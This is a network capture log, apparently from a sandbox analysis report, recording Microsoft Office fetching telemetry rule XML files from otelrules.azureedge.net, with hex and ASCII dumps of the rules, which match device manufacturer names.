2024-11-18 23:02:16 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:16 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 53be5548-701e-001e-61f2-39f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230216Z-16559997f8799x6whC1DFW9y9w00000000n00000000096h0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 23:02:16 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49806	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:16 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:16 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: cf84bce2-801e-0083-40b8-37f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230216Z-1866b5c5fbbg9tvxhC1DFWy9mg000000027000000000x7q0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:16 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49807	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:16 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:16 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: fa408a18-501e-0064-15b8-371f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230216Z-16547b76f7fm8pcwhC1DFWaxcc00000004eg00000000xe7p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:16 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49808	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:16 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:16 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: a0c6f192-101e-007a-2f09-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230216Z-16547b76f7fgfpmjhC1DFWw6ec00000005u000000000xpmc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:16 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49810	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:17 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:17 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:17 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 9666febd-501e-0035-5391-38c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230217Z-r18f44ddb69xvwv5hC1DFWstpn00000000g000000000dadv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 23:02:17 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49811	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:17 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:17 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 27141695-f01e-003c-34af-368cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230217Z-1866b5c5fbbnjgfwhC1DFW3usc00000001mg000000010hwh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:17 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49812	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:17 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:17 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:17 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 8a4e7403-501e-0047-0c09-37ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230217Z-16547b76f7fm8pcwhC1DFWaxcc00000004ng000000001x5p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:17 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49814	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:17 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:17 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:17 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 0112037e-901e-00a0-1b8a-396a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230217Z-16559997f8799x6whC1DFW9y9w00000000e000000000cxf8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 23:02:17 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49813	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:17 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:17 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: a9c4265b-101e-000b-57af-365e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230217Z-1866b5c5fbbfhwqqhC1DFWc9sw00000000zg00000000443q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:17 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49815	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:18 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:18 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:18 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 7a7e882b-d01e-002b-49aa-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230218Z-16547b76f7f64d6whC1DFWf9vn000000051g00000000dkhf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 23:02:18 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49816	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:18 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:18 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 8417a631-c01e-00a2-12c6-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230218Z-1866b5c5fbbls4jchC1DFWnmb400000001xg0000000036ub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:18 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49817	13.107.246.43	443	2872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:18 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:18 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:18 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 45d643d4-001e-0066-6189-38561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230218Z-16547b76f7fhvzzthC1DFW557000000006mg00000000735x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 23:02:18 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" 